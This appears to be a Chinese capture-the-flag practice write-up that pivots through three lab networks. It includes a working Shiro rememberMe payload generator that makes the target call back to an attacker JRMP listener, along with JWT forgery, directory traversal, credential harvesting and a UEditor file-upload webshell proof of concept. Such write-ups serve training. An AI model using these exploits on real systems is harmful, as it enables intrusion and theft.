2024某CFS比赛练习题-Writeup
出题思路 Spring heapdump获取shiro key,通过shiro JRMP漏洞注入内存马获取权限,读取机器/flag.txt,通过设备巡检地址.txt中密文得知存在勒索加密,找到/hack文件进程,通过分析找到两次异或key解密设备巡检地址.txt数据找到L2-4机器地址开放端口
1:第一层赛题
解题步骤
注册登录系统后发现actuator接口存在heapdump端点。
登录后发现存在可访问actuator接口。
下载heapdump文件并解密
heapdump解密
解密heapdump获取shiro密钥
algMode = CBC, key = 9FVpnmFL7s0KKA3Kposdaw==, algName = AES
测试登录接口存在shiro特征
Shiro利用工具无法找到利用链
生成多个利用链延时
使用shiro-exploit生成payload
存在CB1 CB2利用链
启动jrmp监听,加载冰蝎class
生成payload
import base64
import sys
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "9FVpnmFL7s0KKA3Kposdaw=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_rememberMe_value
if __name__ == '__main__':
payload = encode_rememberme('192.168.1.5:1234') #这里替换远程主机的ip和JRMP监听模块监听的端口
print("rememberMe={}".format(payload.decode()))
发送payload收到jrmp反连
冰蝎连接内存马
获取flag信息
flag{b92027b4f91e8d6ecc26137f6b560746}
发现?????.txt文件,冰蝎无法查看文件内容
Cat *.txt查看文件内容,发现内容被加密。
进程中存在hack进程攻击痕迹,疑似机器被勒索挖矿。
分析勒索文件找到加密特征
存在访问host请求,host被加密,使用密钥进行二次异或操作
Main函数下存在base32加密解密但未调用。
定位加密密钥key2_2,key1_3值。
key2_2的值是41h,转换成十进制65,ASCII编码转换字符A。
key1_3的值是4Bh,转换成十进制75,ASCII编码转换字符K。
encrypted_host_4的值是';3==<;$;;02:3:'。
编写二次异或解密脚本获取L2-4网段地址
encrypted_host_4 = ";3=$=<$;$;;02:3:"
key1_3 = 'K' # 75 in decimal, 4Bh in hexadecimal
key2_2 = 'A' # 65 in decimal, 41h in hexadecimal
decrypted_host = ""
for character in encrypted_host_4:
decrypted_character = chr(ord(character) ^ ord(key1_3) ^ ord(key2_2))
decrypted_host += decrypted_character
print("Decrypted host: " + decrypted_host)
197.76.1.11:8090
要搭建到197.76.1这个网段的代理。
直接上fscan进行扫描发现其开放了8082和80端口
挨个访问,发现8082端口有后台页面
2、第二层赛题
密码爆破,发现是弱口令admin/123456
登入进去没有权限,提示登入sysadmin123456
发现token,是利用JWT进行身份验证,看看能否对jwt进行破解
利用JWT-tools进行秘钥爆破
发现秘钥是123456
然后开始伪造jwt
去jwt.io
获得仿造的高权限jwt
替换掉刷新发现界面改变了
上传文件试试看
发现上传成功,并且返回了flag{d6c578d4a41a141d731fe7c36c8c0f77}
继续发现文件下载可以任意文件下载
抓包
目录穿越之后
进行信息收集
在查看proc文件夹的时候发现了数据库账密
对进程号进行爆破
找到了数据库账密
postgres/eplugger@7758
发现postgresql数据库,连接一下,也可以命令执行
在根目录下找到发现了ssh公私钥,连接发现是root的
拿到私钥
尝试连接ssh连接成功 root权限.
搭建第二层的代理:利用iox开启socks5端口
利用fscan扫描发现存在8080端口。
查看发现网站信息。
3、第三层赛题
信息收集发现这是叫品络科技研发的cms
在网上查询,找到了登入后台和账号密码,尝试登入
登入成功
找到UEditor1.4.3版本的,网上有ASP版本的任意文件上传漏洞
在网上找到了任意文件上传的poc
<form action="http://172.76.1.11:8080/ueditor/asp/controller.asp?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
shell addr: <input type="text" name="source[]" />
<input type="submit" value="Submit" />
</form>
但是发现上传文件需要一台在线的服务器,但是设备不出网,
发现上一台开着nginx,利用nginx当在线服务器传递
第一种
上台机子有root权限的ssh直接写马
找到nginx根目录
上传
访问测试
第二种
文件上传是可以跨目录的
发现是可以访问的,那咱们就根据poc要求上传,上传的马的路径需要第三层其机器能访问的那个网卡。
返回了路径,进行连接
连接成功。
邀请人:seven-6345